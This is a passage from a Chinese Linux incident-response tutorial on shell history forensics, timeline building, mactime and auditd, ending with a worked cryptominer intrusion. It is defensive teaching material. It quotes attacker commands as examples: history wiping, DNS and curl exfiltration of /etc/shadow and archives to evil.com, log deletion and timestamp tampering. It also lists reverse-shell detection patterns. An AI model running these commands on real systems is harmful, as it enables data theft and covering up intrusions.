1. 1. 09-历史记录与时间线分析 (History & Timeline Analysis)
    1. 1.1. 1. Shell 历史记录分析
      1. 1.1.1. 1.1 历史文件位置
      2. 1.1.2. 1.2 HISTSIZE 和 HISTFILESIZE
      3. 1.1.3. 1.3 攻击者清除历史的方法(重点检测)
      4. 1.1.4. 1.4 检测历史被清除的方法
      5. 1.1.5. 1.5 zsh 历史文件格式
    2. 1.2. 2. 从历史记录中提取攻击痕迹
      1. 1.2.1. 2.1 攻击者常见命令模式分类
      2. 1.2.2. 2.2 自动提取关键命令的脚本
      3. 1.2.3. 2.3 带时间戳的历史记录
    3. 1.3. 3. 时间线构建方法论(核心)
      1. 1.3.1. 3.1 为什么需要时间线
      2. 1.3.2. 3.2 时间线信息来源
      3. 1.3.3. 3.3 时间线格式
      4. 1.3.4. 3.4 从各来源提取时间线数据
    4. 1.4. 4. mactime 工具(Sleuthkit)
      1. 1.4.1. 4.1 安装 Sleuthkit
      2. 1.4.2. 4.2 生成 Body File
      3. 1.4.3. 4.3 生成时间线
      4. 1.4.4. 4.4 分析时间线
      5. 1.4.5. 4.5 实际应用场景
    5. 1.5. 5. Auditd 审计系统
      1. 1.5.1. 5.1 基础概念
      2. 1.5.2. 5.2 配置审计规则
      3. 1.5.3. 5.3 使用 ausearch 搜索审计日志
      4. 1.5.4. 5.4 使用 aureport 生成审计报告
      5. 1.5.5. 5.5 Audit 日志格式解读
      6. 1.5.6. 5.6 在应急响应中利用 Audit 日志
    6. 1.6. 6. 综合时间线构建实战
      1. 1.6.1. 6.1 完整案例:SSH 暴力破解 → 提权 → 持久化 → 挖矿
      2. 1.6.2. 6.2 时间线可视化
    7. 1.7. 7. 时间线构建脚本
      1. 1.7.1. 7.1 自动化时间线生成脚本
      2. 1.7.2. 7.2 使用 log2timeline (plaso) 进行专业取证
    8. 1.8. 8. 练习
      1. 1.8.1. 8.1 综合练习:完整攻击时间线重建
      2. 1.8.2. 8.2 单项练习
    9. 1.9. 9. 总结与速查表
      1. 1.9.1. 核心排查清单
      2. 1.9.2. 时间线构建流程
      3. 1.9.3. 相关页面

Linux应急响应 - 09 历史记录与时间线分析

09-历史记录与时间线分析 (History & Timeline Analysis)

历史记录和时间线分析是 Linux 应急响应中串联所有证据的核心能力。单独的日志、进程、文件证据只是碎片,只有将它们按时间顺序排列,才能还原完整的攻击故事(Attack Story)。本章详细讲解 Shell 历史分析、时间线构建方法论、mactime 工具使用、Auditd 审计系统,以及综合实战。

日志分析基础知识请参考 03-日志分析基础,进程与网络分析请参考 05-进程与网络分析

1. Shell 历史记录分析

1.1 历史文件位置

不同 Shell 使用不同的历史文件:

Shell 默认历史文件 环境变量
bash ~/.bash_history HISTFILE
zsh ~/.zsh_history HISTFILE
sh ~/.sh_history~/.history HISTFILE
fish ~/.local/share/fish/fish_history 不可更改
ksh ~/.sh_history HISTFILE
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 检查所有用户的历史文件
for home in /home/* /root; do
[ -d "$home" ] || continue
echo "====== $home ======"

# bash 历史
[ -f "$home/.bash_history" ] && echo " bash_history: $(wc -l < "$home/.bash_history") 行, $(ls -lh "$home/.bash_history" | awk '{print $5}')"

# zsh 历史
[ -f "$home/.zsh_history" ] && echo " zsh_history: $(wc -l < "$home/.zsh_history") 行, $(ls -lh "$home/.zsh_history" | awk '{print $5}')"

# 其他
[ -f "$home/.history" ] && echo " .history: $(wc -l < "$home/.history") 行"
[ -f "$home/.sh_history" ] && echo " .sh_history: $(wc -l < "$home/.sh_history") 行"
done

1.2 HISTSIZE 和 HISTFILESIZE

变量 含义 默认值
HISTSIZE 内存中保存的历史命令数量 通常 500 或 1000
HISTFILESIZE 历史文件中保存的最大行数 通常 500 或 2000
HISTCONTROL 控制哪些命令不被记录 通常 ignoredups
HISTTIMEFORMAT 历史命令的时间戳格式 通常未设置
HISTIGNORE 不记录匹配的命令模式 通常未设置
1
2
3
4
5
6
7
8
9
10
# 查看当前用户的历史相关配置
echo "HISTSIZE=$HISTSIZE"
echo "HISTFILESIZE=$HISTFILESIZE"
echo "HISTCONTROL=$HISTCONTROL"
echo "HISTTIMEFORMAT=$HISTTIMEFORMAT"
echo "HISTFILE=$HISTFILE"
echo "HISTIGNORE=$HISTIGNORE"

# 检查是否在 .bashrc 或 .profile 中被修改
grep -n "HIST" /home/*/.bashrc /home/*/.bash_profile /root/.bashrc /root/.bash_profile 2>/dev/null

1.3 攻击者清除历史的方法(重点检测)

攻击者在完成攻击后通常会尝试清除 Shell 历史记录。识别这些清除行为本身就是重要的攻击痕迹。

方法1:清空内存中的历史并写入文件

1
2
3
# 攻击者执行
history -c # 清除内存中的历史
history -w # 将空历史写入文件(覆盖文件)

方法2:禁用历史记录

1
2
3
4
5
6
# 攻击者执行
unset HISTFILE # 不再写入历史文件
export HISTFILE=/dev/null # 历史写入 /dev/null
HISTSIZE=0 # 不保留任何历史
HISTFILESIZE=0 # 文件不保留任何历史
set +o history # 关闭历史记录功能

方法3:利用 HISTCONTROL

1
2
3
4
5
# 如果 HISTCONTROL=ignorespace 或 ignoreboth
# 命令前加空格就不会被记录
export HISTCONTROL=ignorespace
whoami # 前面有空格,不会记录
cat /etc/shadow # 前面有空格,不会记录

方法4:直接操作历史文件

1
2
3
4
5
6
7
8
9
# 攻击者执行
> ~/.bash_history # 清空文件
rm ~/.bash_history # 删除文件
echo "" > ~/.bash_history # 用空内容覆盖
shred -zu ~/.bash_history # 安全删除(不可恢复)

# 更隐蔽的方式:只删除特定行
sed -i '/curl.*evil/d' ~/.bash_history
sed -i '/wget.*payload/d' ~/.bash_history

方法5:使用替代方式执行命令

1
2
3
4
5
6
7
8
# 通过 script 命令避开历史
script /dev/null -c "malicious_command"

# 通过子 shell
bash -c "malicious_command"

# 通过 at/cron 间接执行
echo "malicious_command" | at now

1.4 检测历史被清除的方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 检测方法1:文件大小异常
# 一个活跃的用户账户,历史文件不应该太小
for home in /home/* /root; do
hist="$home/.bash_history"
if [ -f "$hist" ]; then
size=$(wc -c < "$hist")
lines=$(wc -l < "$hist")
echo "$hist: $lines 行, $size 字节"
if [ "$size" -lt 100 ] && [ "$lines" -lt 5 ]; then
echo " [!] 警告:历史文件异常小,可能被清除"
fi
elif [ -d "$home" ]; then
echo "$hist: 不存在 [!] 可能被删除"
fi
done
1
2
3
4
5
6
7
8
9
10
# 检测方法2:文件修改时间异常
# 如果历史文件的 mtime 非常新(比如在事件发生时间附近),
# 但文件内容很少,说明可能被清除后重建
for home in /home/* /root; do
hist="$home/.bash_history"
if [ -f "$hist" ]; then
echo "--- $hist ---"
stat "$hist" | grep -i "modify\|change\|birth"
fi
done
1
2
3
4
5
6
7
8
9
10
11
# 检测方法3:搜索历史清除命令本身
# 有时候攻击者在清除历史之前的命令还留着
for home in /home/* /root; do
hist="$home/.bash_history"
[ -f "$hist" ] || continue
result=$(grep -n "history -c\|history -w\|HISTSIZE=0\|HISTFILE=/dev/null\|unset HISTFILE\|shred.*history\|> .*history\|rm.*history\|set +o history" "$hist" 2>/dev/null)
if [ -n "$result" ]; then
echo "[!] 在 $hist 中发现历史清除行为:"
echo "$result"
fi
done
1
2
3
4
5
6
7
8
9
10
11
# 检测方法4:检查 .bashrc 中的历史劫持
# 攻击者可能在 .bashrc 中添加自动清除历史的配置
for home in /home/* /root; do
rc="$home/.bashrc"
[ -f "$rc" ] || continue
result=$(grep -n "HISTSIZE=0\|HISTFILESIZE=0\|HISTFILE=/dev/null\|unset HISTFILE\|set +o history" "$rc" 2>/dev/null)
if [ -n "$result" ]; then
echo "[!] 在 $rc 中发现历史劫持配置:"
echo "$result"
fi
done

1.5 zsh 历史文件格式

zsh 的历史文件格式与 bash 不同,默认带有时间戳和执行时长:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# zsh 历史格式(带扩展历史):
# : 1704672000:0;command
# 其中 1704672000 是 Unix 时间戳,0 是执行时长

# 查看 zsh 历史(可读格式)
cat ~/.zsh_history | while IFS= read -r line; do
if echo "$line" | grep -q "^: [0-9]*:[0-9]*;"; then
ts=$(echo "$line" | sed 's/^: \([0-9]*\):.*/\1/')
cmd=$(echo "$line" | sed 's/^: [0-9]*:[0-9]*;//')
echo "$(date -d @"$ts" '+%Y-%m-%d %H:%M:%S' 2>/dev/null || date -r "$ts" '+%Y-%m-%d %H:%M:%S' 2>/dev/null) $cmd"
else
echo "$line"
fi
done

2. 从历史记录中提取攻击痕迹

2.1 攻击者常见命令模式分类

在分析历史记录时,关注以下几类命令模式:

阶段1:信息收集 (Reconnaissance)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
# 系统信息
id; whoami; uname -a; hostname
cat /etc/os-release; cat /etc/redhat-release
cat /proc/version

# 用户信息
cat /etc/passwd; cat /etc/shadow; cat /etc/group
w; who; last

# 网络信息
ifconfig; ip addr; ip route
netstat -tlnp; ss -tlnp
cat /etc/hosts; cat /etc/resolv.conf
iptables -L -n

# 进程和服务
ps aux; top
systemctl list-units --type=service
crontab -l

# 文件系统
df -h; mount
find / -perm -4000 -type f # 查找 SUID 文件
find / -writable -type f # 查找可写文件

阶段2:权限提升 (Privilege Escalation)

1
2
3
4
5
6
7
su; su -; sudo su
sudo bash; sudo -i
chmod u+s; chmod 4755
chown root:root
# 利用漏洞
gcc exploit.c -o exploit; ./exploit
python3 exploit.py

阶段3:持久化 (Persistence)

1
2
3
4
5
crontab -e; echo "..." >> /var/spool/cron/root
echo "..." >> ~/.bashrc; echo "..." >> /etc/profile
ssh-keygen; echo "..." >> ~/.ssh/authorized_keys
useradd; usermod -aG sudo
systemctl enable ...; cp ... /etc/systemd/system/

阶段4:横向移动 (Lateral Movement)

1
2
3
4
ssh user@host; scp file user@host:
rsync -avz ... user@host:
curl http://internal-host/...; wget http://internal-host/...
ping; nmap; masscan

阶段5:数据窃取 (Data Exfiltration)

1
2
3
4
5
6
tar czf /tmp/data.tar.gz /sensitive/data/
zip -r /tmp/data.zip /sensitive/
scp /tmp/data.tar.gz attacker@external:
curl -F "file=@/tmp/data.tar.gz" http://evil.com/upload
# 通过 DNS 外传
cat /etc/shadow | xxd -p | while read line; do dig $line.evil.com; done

阶段6:痕迹清除 (Anti-Forensics)

1
2
3
4
5
6
history -c; history -w
rm -rf /var/log/*; > /var/log/auth.log
shred -zu ~/.bash_history
userdel backdoor_user
rm /etc/systemd/system/evil.service
touch -t 202301010000 /path/to/modified/file # 篡改时间戳

2.2 自动提取关键命令的脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/bin/bash
# extract_suspicious_history.sh - 从历史记录中提取可疑命令

RED='\033[0;31m'
YELLOW='\033[1;33m'
NC='\033[0m'

# 定义各阶段的关键词模式
declare -A PATTERNS
PATTERNS[信息收集]="(^|\s)(id|whoami|uname|hostname|ifconfig|ip addr|ip route|cat /etc/passwd|cat /etc/shadow|cat /etc/group|netstat|ss -[tlnp]|iptables|find.*perm.*4000|find.*writable|cat /proc/version|cat /etc/os-release)"
PATTERNS[权限提升]="(^|\s)(sudo su|sudo bash|sudo -i|chmod.*u\+s|chmod.*4[0-9]{3}|chown root|gcc.*exploit|python.*exploit|pkexec|dirtycow|CVE-)"
PATTERNS[持久化]="(crontab|/var/spool/cron|>> .*bashrc|>> .*profile|ssh-keygen|authorized_keys|useradd|usermod.*sudo|systemctl enable|/etc/systemd/system)"
PATTERNS[横向移动]="(^|\s)(ssh |scp |rsync |nmap |masscan |ping -c|proxychains|chisel|frp)"
PATTERNS[数据窃取]="(tar.*czf|zip.*-r|scp.*@.*:|curl.*-F.*file|curl.*upload|curl.*exfil|nc.*<)"
PATTERNS[痕迹清除]="(history -[cw]|unset HISTFILE|HISTSIZE=0|> .*\..*history|rm.*\..*history|shred.*history|rm.*log|> /var/log|userdel|touch -[trd])"
PATTERNS[网络下载]="(curl|wget|lynx|fetch)\s.*(http|ftp|https)"
PATTERNS[反弹Shell]="(/dev/tcp|/dev/udp|mkfifo|nc\s+-[elp]|ncat|bash -i|python.*socket.*connect|perl.*socket)"

echo "=========================================="
echo " Shell 历史可疑命令提取"
echo "=========================================="

for home in /home/* /root; do
for histfile in "$home/.bash_history" "$home/.zsh_history"; do
[ -f "$histfile" ] || continue
echo ""
echo -e "${YELLOW}====== $histfile ======${NC}"

for stage in "${!PATTERNS[@]}"; do
result=$(grep -nP "${PATTERNS[$stage]}" "$histfile" 2>/dev/null)
if [ -n "$result" ]; then
echo -e "${RED} [$stage]${NC}"
echo "$result" | sed 's/^/ /'
fi
done
done
done

2.3 带时间戳的历史记录

如果系统配置了 HISTTIMEFORMAT,历史记录会包含时间戳,这对时间线构建非常有价值:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
# 检查是否配置了时间戳
grep "HISTTIMEFORMAT" /etc/profile /etc/bash.bashrc /home/*/.bashrc /root/.bashrc 2>/dev/null

# 如果配置了,历史文件中会有类似:
# #1704672000
# ls -la
# #1704672005
# cat /etc/passwd

# 将带时间戳的历史转换为可读格式
# 注意:bash 历史文件中,时间戳以 #timestamp 格式存储
awk '/^#[0-9]{10}$/{
ts = substr($0, 2);
getline;
print strftime("%Y-%m-%d %H:%M:%S", ts), $0
}' ~/.bash_history

应急响应建议:在事件响应初期,如果系统尚未配置 HISTTIMEFORMAT,可以先设置它以便记录后续操作的时间戳(但不会影响已有历史)。

1
2
# 在当前 session 中启用时间戳记录
export HISTTIMEFORMAT="%Y-%m-%d %H:%M:%S "

3. 时间线构建方法论(核心)

3.1 为什么需要时间线

在应急响应中,时间线是将零散的证据碎片串联为完整攻击故事的关键工具。它回答以下核心问题:

攻击者是何时进入系统的?

攻击的各阶段顺序是什么?

攻击者在系统上做了什么

哪些数据何时被窃取?

攻击者何时离开或是否仍在系统中?

3.2 时间线信息来源

来源 位置/命令 提供的信息 时间精度
文件时间戳 stat, find 文件创建/修改/访问时间 秒级
认证日志 /var/log/auth.log, /var/log/secure 登录、sudo、SSH 事件 秒级
系统日志 /var/log/syslog, /var/log/messages 服务启动、内核消息 秒级
Web 日志 /var/log/apache2/access.log, /var/log/nginx/ HTTP 请求 秒级
登录记录 last, lastb, lastlog 登录/登出/失败登录 秒级
Shell 历史 ~/.bash_history (带 HISTTIMEFORMAT) 执行的命令 秒级(如有)
进程信息 ps -eo lstart,pid,cmd 进程启动时间 秒级
Cron 日志 /var/log/cron, grep CRON /var/log/syslog 计划任务执行 秒级
Audit 日志 /var/log/audit/audit.log 系统调用、文件访问 毫秒级
Systemd Journal journalctl 所有 systemd 管理的日志 微秒级
dmesg dmesg -T 内核消息 秒级
wtmp/btmp /var/log/wtmp, /var/log/btmp 登录/失败登录二进制记录 秒级

3.3 时间线格式

标准的时间线格式:

1
2
3
4
5
6
7
8
时间                | 来源         | 事件类型 | 详情                    | IOC/备注
-------------------|-------------|---------|------------------------|--------
2025-01-08 02:00:15 | auth.log | 暴力破解 | Failed password from 203.0.113.42 | 攻击源 IP
2025-01-08 02:15:33 | auth.log | 登录成功 | Accepted password for admin | 暴力破解成功
2025-01-08 02:16:01 | bash_history | 信息收集 | id; uname -a; cat /etc/passwd | -
2025-01-08 02:18:22 | bash_history | 提权 | sudo su | -
2025-01-08 02:20:45 | file mtime | 持久化 | /etc/cron.d/sysupdate 被创建 | 恶意 crontab
...

3.4 从各来源提取时间线数据

文件时间戳提取

1
2
3
4
5
6
7
8
9
10
11
12
13
# 查找指定时间范围内被修改的文件
find / -type f -newermt "2025-01-08 00:00" ! -newermt "2025-01-09 00:00" \
-not -path "/proc/*" -not -path "/sys/*" -not -path "/run/*" \
-printf "%T+ %p\n" 2>/dev/null | sort

# 查找最近24小时内修改的文件
find / -type f -mtime -1 \
-not -path "/proc/*" -not -path "/sys/*" -not -path "/run/*" \
-printf "%T+ %p\n" 2>/dev/null | sort

# 详细时间戳(mtime + ctime)
find /etc /tmp /var /home /root -type f -mtime -7 \
-exec stat --format="%Y %y MODIFY %n" {} \; 2>/dev/null | sort -n

认证日志提取

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 提取所有认证事件并格式化
# Ubuntu/Debian
awk '{
timestamp = $1 " " $2 " " $3;
if (/Failed password/) print timestamp, "AUTH_FAIL", $0;
else if (/Accepted password/) print timestamp, "AUTH_OK", $0;
else if (/session opened/) print timestamp, "SESSION_OPEN", $0;
else if (/session closed/) print timestamp, "SESSION_CLOSE", $0;
else if (/sudo:/) print timestamp, "SUDO", $0;
}' /var/log/auth.log

# CentOS/RHEL
awk '{
timestamp = $1 " " $2 " " $3;
if (/Failed password/) print timestamp, "AUTH_FAIL", $0;
else if (/Accepted password/) print timestamp, "AUTH_OK", $0;
else if (/session opened/) print timestamp, "SESSION_OPEN", $0;
else if (/sudo:/) print timestamp, "SUDO", $0;
}' /var/log/secure

登录记录提取

1
2
3
4
5
6
7
8
9
# 成功登录
last -F | head -50
# -F 显示完整日期时间

# 失败登录
lastb -F 2>/dev/null | head -50

# 最后登录时间
lastlog | grep -v "Never"

进程启动时间

1
2
3
4
5
6
7
8
# 列出所有进程的启动时间
ps -eo lstart,pid,ppid,user,args --sort=start_time | tail -30

# 查找特定时间之后启动的进程
ps -eo lstart,pid,user,args | while read -r line; do
# 转换和过滤可根据需要调整
echo "$line"
done

Systemd Journal 提取

1
2
3
4
5
6
7
8
9
10
11
# 指定时间范围的日志
journalctl --since "2025-01-08 00:00" --until "2025-01-09 00:00" --no-pager

# 特定服务的日志
journalctl -u sshd.service --since "2025-01-08" --no-pager

# 内核消息
journalctl -k --since "2025-01-08" --no-pager

# 输出为 JSON 格式(便于程序处理)
journalctl --since "2025-01-08" --output json --no-pager

4. mactime 工具(Sleuthkit)

mactime 是 The Sleuth Kit (TSK) 套件中的工具,可以生成基于文件系统时间戳的详细时间线。适用于离线取证分析。

4.1 安装 Sleuthkit

1
2
3
4
5
6
7
# Ubuntu/Debian
apt-get install sleuthkit

# CentOS/RHEL
yum install sleuthkit
# 或从 EPEL
yum install epel-release && yum install sleuthkit

4.2 生成 Body File

Body file 是 mactime 使用的中间格式,包含文件系统中所有文件的元数据:

1
2
3
4
5
6
7
8
9
10
11
# 从磁盘镜像或挂载的设备生成 body file
# 注意:应在取证副本上操作,不要在原始设备上操作
fls -r -m "/" /dev/sdX > bodyfile.txt

# 如果是磁盘镜像文件
fls -r -m "/" -o 2048 disk_image.dd > bodyfile.txt
# -o 2048 是分区偏移量(扇区数),需根据实际分区表确定

# 从已挂载的文件系统使用 find 生成简易 body file
find / -not -path "/proc/*" -not -path "/sys/*" -not -path "/run/*" \
-printf "0|%p|0|0|0|0|%s|%A@|%T@|%C@|0\n" 2>/dev/null > bodyfile_live.txt

4.3 生成时间线

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
# 将 body file 转换为时间线
mactime -b bodyfile.txt -d > timeline.csv

# 按时间范围过滤
mactime -b bodyfile.txt -d 2025-01-08..2025-01-09 > timeline_filtered.csv

# 输出格式:
# Date,Size,Type,Mode,UID,GID,Meta,File Name
# Thu Jan 08 2025 02:15:33,1024,mac.,drwxr-xr-x,0,0,12345,/etc/cron.d/sysupdate

# Type 字段说明:
# m = mtime (修改时间)
# a = atime (访问时间)
# c = ctime (状态变更时间)
# b = crtime (创建时间,ext4 支持)

4.4 分析时间线

1
2
3
4
5
6
7
8
9
10
11
# 查找特定时间窗口内的文件活动
mactime -b bodyfile.txt -d 2025-01-08T02:00:00..2025-01-08T03:00:00 | \
grep -v "^$" | head -50

# 只关注特定目录
mactime -b bodyfile.txt -d 2025-01-08..2025-01-09 | \
grep -E "(/etc/|/tmp/|/var/spool/cron|/home/)" | head -50

# 查找可疑的文件创建(b 类型)
mactime -b bodyfile.txt -d 2025-01-08..2025-01-09 | \
grep "\.b\." | head -50

4.5 实际应用场景

mactime 最适合以下场景:

离线取证:对磁盘镜像进行分析

确定攻击时间窗口:通过大量文件的时间戳变化定位攻击时段

发现隐藏文件:fls 可以发现已删除的文件

验证时间戳篡改:对比 mtime 和 ctime 是否一致

5. Auditd 审计系统

Auditd 是 Linux 内核级的审计系统,可以记录系统调用、文件访问、网络操作等详细信息。在应急响应中,audit 日志是最有价值的证据来源之一。

5.1 基础概念

1
2
3
4
5
6
7
8
9
10
11
# 检查 auditd 是否运行
systemctl status auditd

# 查看当前审计规则
auditctl -l

# 审计日志位置
ls -la /var/log/audit/audit.log

# 查看审计日志大小和配置
cat /etc/audit/auditd.conf | grep -v "^#\|^$"

5.2 配置审计规则

文件访问监控

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# 监控 /etc/passwd 的写入和属性修改
auditctl -w /etc/passwd -p wa -k passwd_changes
# -w 监控的文件路径
# -p wa: w=write, a=attribute change (也可用 r=read, x=execute)
# -k passwd_changes: 标签,方便搜索

# 监控 /etc/shadow
auditctl -w /etc/shadow -p wa -k shadow_changes

# 监控 crontab 相关文件
auditctl -w /etc/crontab -p wa -k crontab_changes
auditctl -w /var/spool/cron/ -p wa -k crontab_changes
auditctl -w /etc/cron.d/ -p wa -k crond_changes

# 监控 SSH 配置
auditctl -w /etc/ssh/sshd_config -p wa -k sshd_config
auditctl -w /root/.ssh/authorized_keys -p wa -k auth_keys

# 监控 systemd 服务文件
auditctl -w /etc/systemd/system/ -p wa -k systemd_changes

命令执行监控

1
2
3
4
5
6
7
8
9
10
11
12
# 监控所有 execve 系统调用(命令执行)
# 64位系统
auditctl -a always,exit -F arch=b64 -S execve -k cmd_exec
# 32位系统
auditctl -a always,exit -F arch=b32 -S execve -k cmd_exec

# 注意:execve 监控会产生大量日志,生产环境慎用
# 可以限制只监控特定用户
auditctl -a always,exit -F arch=b64 -S execve -F euid=0 -k root_cmd
# 或只监控特定程序
auditctl -a always,exit -F arch=b64 -S execve -F path=/usr/bin/wget -k wget_exec
auditctl -a always,exit -F arch=b64 -S execve -F path=/usr/bin/curl -k curl_exec

网络连接监控

1
2
3
4
5
# 监控 connect 系统调用(出站连接)
auditctl -a always,exit -F arch=b64 -S connect -k network_connect

# 监控 socket 创建
auditctl -a always,exit -F arch=b64 -S socket -k socket_create

持久化审计规则

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 临时规则(重启后消失)用 auditctl
# 永久规则写入配置文件
cat >> /etc/audit/rules.d/incident.rules << 'EOF'
# 文件监控
-w /etc/passwd -p wa -k passwd_changes
-w /etc/shadow -p wa -k shadow_changes
-w /etc/crontab -p wa -k crontab_changes
-w /var/spool/cron/ -p wa -k crontab_changes
-w /etc/systemd/system/ -p wa -k systemd_changes

# 命令执行(root 用户)
-a always,exit -F arch=b64 -S execve -F euid=0 -k root_cmd

# 网络连接
-a always,exit -F arch=b64 -S connect -k network_connect
EOF

# 重载规则
augenrules --load

5.3 使用 ausearch 搜索审计日志

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
# 按标签搜索
ausearch -k passwd_changes
ausearch -k crontab_changes
ausearch -k cmd_exec

# 按时间范围搜索
ausearch -ts 01/08/2025 02:00:00 -te 01/08/2025 03:00:00

# 按用户搜索
ausearch -ua root
ausearch -ua 1000 # UID

# 按系统调用搜索
ausearch -sc execve
ausearch -sc connect

# 按文件路径搜索
ausearch -f /etc/passwd
ausearch -f /etc/crontab

# 组合搜索
ausearch -k cmd_exec -ts 01/08/2025 02:00:00 -te 01/08/2025 03:00:00 -ua root

# 解释性输出(更可读)
ausearch -k cmd_exec -i | head -50
# -i 将 UID/GID/系统调用号等转换为可读名称

5.4 使用 aureport 生成审计报告

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# 摘要报告
aureport --summary

# 认证报告
aureport -au --summary

# 登录报告
aureport -l

# 命令执行报告
aureport -x --summary

# 文件访问报告
aureport -f --summary

# 异常事件报告
aureport --anomaly

# 按时间范围
aureport -ts 01/08/2025 02:00:00 -te 01/08/2025 03:00:00 -x

# 失败事件报告(重点关注)
aureport --failed

5.5 Audit 日志格式解读

1
2
type=EXECVE msg=audit(1704672015.123:456): argc=3 a0="curl" a1="-fsSL" a2="http://evil.com/x.sh"
type=SYSCALL msg=audit(1704672015.123:456): arch=c000003e syscall=59 success=yes exit=0 a0=... ppid=2845 pid=2847 auid=1000 uid=0 gid=0 euid=0 comm="curl" exe="/usr/bin/curl" key="cmd_exec"

关键字段

msg=audit(时间戳:序列号) — 事件时间(Unix 时间戳.毫秒)

auid — Audit UID,即最初登录的用户(即使 sudo 后也不变)

uid/euid — 当前用户/有效用户

comm — 命令名

exe — 可执行文件完整路径

key — 匹配的审计规则标签

ppid/pid — 父进程/当前进程 ID

success — 是否成功

5.6 在应急响应中利用 Audit 日志

场景:还原攻击者执行的所有命令

1
2
3
4
5
6
7
8
9
10
11
12
13
# 提取所有命令执行记录,按时间排序
ausearch -sc execve -i --format csv 2>/dev/null | head -100

# 如果 CSV 格式不可用,使用文本解析
ausearch -sc execve -i 2>/dev/null | grep "type=EXECVE" | \
while read -r line; do
# 提取参数
args=$(echo "$line" | grep -oP 'a[0-9]+="[^"]*"' | sed 's/a[0-9]*=//g;s/"//g' | tr '\n' ' ')
echo "$args"
done

# 查找特定命令
ausearch -sc execve -i 2>/dev/null | grep -A2 "curl\|wget\|bash -[ci]\|python\|perl\|nc "

场景:找出谁修改了 crontab

1
2
ausearch -k crontab_changes -i
# 输出会显示:谁、什么时间、从哪个终端、修改了什么文件

6. 综合时间线构建实战

6.1 完整案例:SSH 暴力破解 → 提权 → 持久化 → 挖矿

背景:安全监控平台告警显示服务器 10.1.1.100 存在异常 CPU 使用和可疑外连。

时间线重建过程

第一步:确定时间窗口

1
2
3
4
5
# 检查异常进程的启动时间
ps -eo lstart,pid,user,args | grep -i "mine\|xmr\|kworker.*\["
# 发现可疑进程启动于 2025-01-08 02:20

# 确定调查时间范围:2025-01-08 00:00 ~ 至今

第二步:收集各来源的时间线数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
# 1. 认证日志
grep "Jan 8" /var/log/auth.log > /tmp/evidence/timeline_auth.txt

# 2. 系统日志
grep "Jan 8" /var/log/syslog > /tmp/evidence/timeline_syslog.txt

# 3. Cron 日志
grep "Jan 8" /var/log/syslog | grep CRON > /tmp/evidence/timeline_cron.txt

# 4. 所有用户的历史
cp /root/.bash_history /tmp/evidence/history_root.txt
cp /home/admin/.bash_history /tmp/evidence/history_admin.txt

# 5. 最近修改的文件
find / -type f -newermt "2025-01-08" ! -newermt "2025-01-09" \
-not -path "/proc/*" -not -path "/sys/*" -not -path "/run/*" \
-printf "%T+ %p\n" 2>/dev/null | sort > /tmp/evidence/timeline_files.txt

# 6. 登录记录
last -F > /tmp/evidence/logins.txt
lastb -F > /tmp/evidence/failed_logins.txt 2>/dev/null

第三步:整合分析,构建时间线

经过分析各数据来源,得到以下完整时间线:

时间 来源 事件 IOC/备注
01-08 01:30 auth.log SSH 暴力破解开始 来源: 203.0.113.42,针对 admin 用户
01-08 01:30~02:15 auth.log 持续暴力破解 约 5000 次失败尝试
01-08 02:15:33 auth.log SSH 登录成功 admin 用户,密码认证
01-08 02:15:35 auth.log Session 打开 pam_unix session opened for admin
01-08 02:16:01 bash_history 信息收集 id; uname -a; cat /etc/passwd
01-08 02:16:30 bash_history 信息收集 ifconfig; netstat -tlnp
01-08 02:17:15 bash_history 尝试提权 sudo su(成功,admin 有 sudo 权限)
01-08 02:17:16 auth.log sudo 认证 admin : TTY=pts/0 ; COMMAND=/bin/su
01-08 02:18:00 bash_history 下载工具 wget http://203.0.113.42:8080/kit.tar.gz -O /tmp/.k.tgz
01-08 02:18:15 file mtime 文件创建 /tmp/.k.tgz 被创建
01-08 02:18:20 bash_history 解压工具 tar xzf /tmp/.k.tgz -C /tmp/.config/
01-08 02:18:25 file mtime 目录创建 /tmp/.config/ 多个文件被创建
01-08 02:19:00 bash_history 植入 crontab echo "*/5 * * * * /tmp/.config/update" | crontab -
01-08 02:19:05 file mtime crontab 修改 /var/spool/cron/crontabs/root 被修改
01-08 02:19:30 bash_history 创建 systemd 服务 cp /tmp/.config/sys-update.service /etc/systemd/system/
01-08 02:19:35 file mtime service 创建 /etc/systemd/system/sys-update.service 被创建
01-08 02:19:40 bash_history 启用服务 systemctl enable --now sys-update.service
01-08 02:19:41 syslog 服务启动 sys-update.service started
01-08 02:20:00 bash_history 启动挖矿 /tmp/.config/xmrig -c /tmp/.config/config.json
01-08 02:20:01 netstat 外连建立 连接到矿池 pool.minexmr.com:4443
01-08 02:21:00 bash_history 清除痕迹 history -c; history -w
01-08 02:25:00 cron log 定时任务执行 CRON: (root) CMD (/tmp/.config/update)

每行证据的发现方法

暴力破解记录:grep "Failed password" /var/log/auth.log | grep "Jan 8"

登录成功:grep "Accepted password" /var/log/auth.log | grep "Jan 8"

命令历史:cat /root/.bash_history(注意:history -c 执行之前的部分命令可能还在)

文件创建时间:stat /tmp/.config/xmrigstat /etc/systemd/system/sys-update.service

服务启动:journalctl -u sys-update.service

6.2 时间线可视化

将时间线数据导出为 CSV 后,可以使用以下工具可视化:

Timeline Explorer — 免费的 Windows 工具,适合浏览大量时间线数据

Plaso/log2timeline — 专业取证时间线生成工具

Elastic Stack — 将数据导入 Elasticsearch,用 Kibana 可视化

Excel/LibreOffice Calc — 简单场景下使用

7. 时间线构建脚本

7.1 自动化时间线生成脚本

以下脚本从多个日志源提取带时间戳的事件,合并排序后输出统一格式的时间线:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
